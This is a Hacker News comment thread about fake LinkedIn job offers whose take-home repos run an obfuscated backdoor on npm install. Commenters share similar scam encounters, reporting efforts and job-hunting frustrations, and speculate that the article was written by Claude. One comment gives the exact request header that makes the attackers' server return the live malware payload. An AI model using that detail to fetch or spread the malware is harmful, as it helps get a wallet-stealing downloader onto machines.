zombot• 1 month ago

so just installing dependencies executes the backdoor.

How anybody in their right mind still uses this tech stack is beyond me.

I reported the repo to GitHub and the recruiter to LinkedIn. So far nothing has changed and the code is still up.

Remember to treat every size on the internet as an adversary, even if they weren't in the past.

sambhu• 1 month ago

I had a [similar](https://dev.shivagaire.com.np/linkedin-client-rce-backdoor-n...) encounter before. Jobs are scarce and this kind of targeted dev attacks semms to be more frequent these days.

qq66• 1 month ago

Western governments should treat large-scale scammers and the countries that protect them as an act of war.

matltc• 1 month ago

The difference between pre- and post-chatbot writeups is stark: https://igor-blue.github.io/2021/03/24/apt1.html

$100 says OP is Claude

doubleorseven• 1 month ago

nice! i fell for it..

suttontom• 1 month ago

I don't want to be cynical, but maybe spending hours every day using Claude has made some of us particularly attuned to picking this up. For some reason as soon as I read "The trap was in app/test/index.js," I instantly knew it was Claude. It's too bad, because there will obviously be some false positives, but it makes me immediately disregard the author.

OtherShrezzing• 1 month ago

I sometimes use the Claude app with text to speech enabled. It’s got a quite distinctive voice/tempo combo when it’s outputting speech.

Whenever I see a typical Claude-tell in writing, my internal reading voice switches automatically from my internal monologue’s voice into Claude’s voice for the rest of the piece.

ruperthair• 1 month ago

I think that comment is a little unfair, as the one you link to is a much more sophisticated attack. Thanks for the link, though. Great read!

treszkai• 1 month ago

OP has many posts from years ago, with wildly differing language: https://roman.pt/posts/alembic-enums/

croes• 1 month ago

So the backdoor isn’t in the offer but came per offer

atraac• 1 month ago

I work in crypto and this is happening practically every other day. I refuse anyone on LinkedIn that I don't know personally and has web3 or crypto anywhere in the description. It's all fake accounts with fake job offers. It's a pretty known scam.

redbell• 1 month ago

I’ve heard of these attacks and read about them on HN

And, I am reading this on HN right now. What a coincidence!

I read a lot about social engineering and how the human being is considered the weakest layer in the security chain but this is the first time I've came across this pattern. Eye opening indeed.

hboon• 1 month ago

I didn't read everything, but I had a DM offering a gig a few weeks ago, and asked me to check out a React site/app. I cloned it and it looked dubious; replied I pass.

swithek• 1 month ago

I'm seeing the same. Worth flagging that maintainers seem to be a specific target now, not just job seekers. If you've got commit access to anything popular, backdoors like this become a lot more dangerous, because the supply-chain payoff is much bigger than your laptop

harrouet2• 1 month ago

Damned, there is a market for an "antivirus for developers".

saos• 1 month ago

but on a more tired or rushed day, I could easily have run npm install before thinking it through

harrouet2• 1 month ago

How about running that backdoor from a honeypot and check what it is trying to do?

lamtanphan• 1 month ago

I reported it and it seems like the repo no longer exists

ionwake• 1 month ago

Im not sure if anyone will read this, but I consider myself pretty savvy having been on the internet over decades however I nearly succumbed to a highly complex Linkedin "Interview with video call just to get me to install malware".

It was the most bizarely long roundabout way to get me to isntall malware I had ever witnessed I couldnt fathom it was real, I mean they interviewed me for half an hour. Now you might think Im paranoid however it was obvious, their camera was off ( personal preference they said) and well I allowed it... only for other eventual straws to breal the camels back, and I realised "oh uh oh this is just 2 strangers trying to get me to install crap on my laptop for wealth extraction".

I was flumoxed tbh I couldnt believe it, as the approach had been very organic, through Linkedin Dms, just that eventaully I realised I had succumbed to "yes men" ( the only thing that would get passed my already strict job filters ironically) to allow myself into such a comprimising situation.

The only question I had is how did they do such a smooth complex manouver and then I realised... oh they just used AI to come up with the plan and implementation.

vidarh5• 1 month ago

Yeah, the camera off thing has happened to me too, and it should be a red flag to anyone if an interview situation.

throwawayffffas5• 1 month ago

Hm, the url returns a png. Did he obscure the actual url? Couldn't get it to send me json or js...

Update: found a clone of the repo on github and got the payload, all you have to do is add a header `bearrtoken: logo`

It's obfuscated, I will feed it to qwen to see what can be gleaned.

berkes2• 1 month ago

Same here.

I tried content-types, user-agent, but no luck. I'm not sure what the user-agent of `req` is, but the default `node-fetch/1.0` does make the response json. They are a 307, but the result is a png.

I presume the original payload may have contained information that the hackers want to keep from prying eyes. Esp. now that it landed on HN, it makes sense to take it offline and replace with an actual png to avoid people finding information in it that may harm their future hacks or so?

throwawayffffas5• 1 month ago

Got it after adding the header: `bearrtoken: logo`.

Without seeing the request code I initially assumed it would be `Authorization: Bearer logo` that did the trick.

throwawayffffas5• 1 month ago

So fed it to qwen. It seems to think it just a downloader and persistence mechanism for another payload. I will try to download it too and see what qwen thinks of that.

jimijazz• 1 month ago

thanks for following down the rabbit hole, let us know what you find! also... why qwen?

vidarh5• 1 month ago

This is a common one. I've had at least half a dozen of them. If I'm bored, I play along, and then play difficult and dumb and see how long it takes until they give up.

Some of these will happily get on "interview" calls etc.

For some reason, most (but not all) of them have the same telltale signs of looking for someone to work on a web3/crypto gaming project.

Kuyawa2• 1 month ago

All they want is to get your keys and empty your wallet

vidarh5• 1 month ago

I guess that might be a reason to use the web3/crypto angle to get people who are unlikely to have crypto wallets to self-select out...

martinwoodward• 1 month ago

Martin from GitHub here - the offending repos have been taken down, but the article from Roman is still very much worth reading to understand the attack vector attempted.

raesene9• 1 month ago

Worth noting that, this isn't just a risk with npm or other package managers. If you're using LLM agents in the directory of a cloned repo, there's risks in skills, hooks etc automatically executing..

n3mo-dev• 1 month ago

LinkedIn offers are mostly eiter scam or just for promotions

punkbit• 1 month ago

Job candidates keep facing a lot of hurdles, including scams, Trojan horses like the one presented here, ghosting, wasting candidates' time, nepotism, etc. As a candidate you can easily spend more than 8 hours a day looking for opportunities, switching stacks, studying, doing take-home projects, etc, for absolutely nothing. Life is precious and shouldn't be burned like that!

ahmd-sh• 1 month ago

Life is precious and shouldn't be burned like that

Very true. I remember when I was job hunting fot 2 years post-graduation, that these time sinks started to take meaning away from life and induced cynicism and depression (to an extent).

It's easy to forget all that once you end up getting a job, but remember to always be human and show empathy if a person cold-reaches out to you.

kjkjadksj• 1 month ago

It is absolutely the worst. Also the feeling that this task of job searching is supremely important. You feel guilty doing anything that isn’t job searching. Meeting friends? Spending money while you aren’t making any? Seems irresponsible internally. When your day fills with stuff that isn’t job searching it makes you feel that day was a failure. Even when you do job search and you have say a month without any bites, it also makes you feel that month was a failure. You feel like you are wasting your life. At least when you had a job, that time spent counted for a little more experience. Every second without a job feels like it counts against you. You feel like a leper. Look at me who failed to secure a job, I must be a failure, you think internally.

jghn2• 1 month ago

I can not imagine a situation where some random person messages me on linkedin asking me to solve a coding challenge, and I do anything other than block them.

valar_m• 1 month ago

I'm guessing you've never experienced the enormous pressure of needing to find a job to buy food and clothes for your family. That's good, I'm glad that you don't know that feeling. But if you did, you'd know how easy it could be for a person to start feeling more and more desperate for any kind of lifeline.

jghn2• 1 month ago

There is still no chance that my first reaction to a random stranger asking me to do work for them is "sure", without building some sort of connection. Granted, that means I could still get phished via a coding exercise, but it would require a bit more effort on the attacker's part.

Kuyawa2• 1 month ago

I've got more than a handful of these offers so I decided to never install anything and politely decline such offers.

Linkedin has become a rotten cesspool of scammers and spammers, ripe for disruption.

nticompass• 1 month ago

recruiter at a small crypto startup

That's your first red flag right there.

maxaw• 1 month ago

this happened to me too. few things about the process made me suspicious. i downloaded the repo and told claude to "find the malware". took about 15 seconds. remote code execution that would have run upon npm install, iirc. many layers of obfuscation. in implementation, a little different to the op's situation but there are similarities. it was a "crypto startup". maybe they think people in crypto world are more forgiving of idiosyncrasies in the recruiting process? i reported the recruiter's profile to linkedin, with extensive details. they said they wouldn't look into it unless i opened a ticket in some other part of their site, lol. however it seems they got onto it, or someone else complained, because i can't find the recruiter "alice kenny" anymore. but the "company" she was recruiting for is still live:

https://www.linkedin.com/company/blockchainaustraliasolution...

fckgw• 1 month ago

They target people looking at crypto startups because they're after wallets and seed phrases

game_the0ry• 1 month ago

Instead of cloning and installing dependencies, I spun up a throwaway VPS on Hetzner, cloned the repo there, and pointed Pi at it in read-only mode, with only file-reading tools enabled...

Good man, knows what he is doing.

FWIW, I only run ai cli tools on a hostinger vps, never on my personal device. Also allows me to run YOLO mode across the board. If I am working on a web project, then I use preview develop deploys for testing, so I do not even have to work on my machine. Its very fun workflow for experimentation. Still trying to work the kinks to make it easier.

I reported the repo to GitHub and the recruiter to LinkedIn. So far nothing has changed and the code is still up.

Come on, github...

zackchen• 1 month ago

I've pretty much have had the same thing to me happen on Fiverr about 10 months ago.

I even did a write up. It was one of the first reverse engineerings I've did. https://gist.github.com/Throvn/97fcb4981c1ff66725d4b2e408ba0...

konovalov-nk• 1 month ago

I wonder if I should submit this to HN: https://www.linkedin.com/pulse/your-data-being-stolen-right-...

Because there's a massive bot network operating on LinkedIn right now... and I'm tired of interacting with it every day.

lebed2045• 1 month ago

Revenge! A friend of mine was scammed this way two years ago.

So when I finally received a similar offer on LinkedIn, I made them pay to me, twice XD

They sent me a GitHub repository and claimed they needed help deploying a token or something similar. The obvious goal was to get me to run their code while connected to a wallet with real funds.

I told them: sure, I can probably help, but my time costs money.

So I convinced them to pay me for a consultation. For half an hour, I explained how “amazing and simple” the process was, and how they could do it themselves. They claimed to be from the US, but on the call they had an extremely heavy Asian accent. I even recorded part of it on camera, because the whole situation was ridiculous.

Before they could get too furious, I told them I did not have more time and that they would need to book another call. So they paid me a second time.

Before the second call, i got myself absolutely new macbook was for fun testing it, basically a fresh Mac (i should have been using vm because it’s faster to restore but that time i wasn’t familiar with UTM and i got parallels which is scam itself), just to see how their scam worked.

The scam was classic npm install-style: get someone to run scripts from a Git repo and hope they are unaware of how much access that can give to their machine.

Honestly, two years ago, I also did not fully understand that simple ‘nom install’ could give attackers such deep access to your computer.

kwar13• 1 month ago

they're becoming increasingly common. this is mine from last year

https://kaveh.page/blog/job-interview-scam

i've had maybe 10-20 requests after that that i've just blanked ignored.

amai• 1 month ago

Isn't that the old trick: download this “suspicios.zip,” unzip it, and click on “backdoor.exe”? Except that in this case, the backdoor code wasn't hidden in the binary - it was open-source, which is why an AI was able to detect it.

PS I think "smello" is really not a good name for a startup.

A backdoor in a LinkedIn job offer

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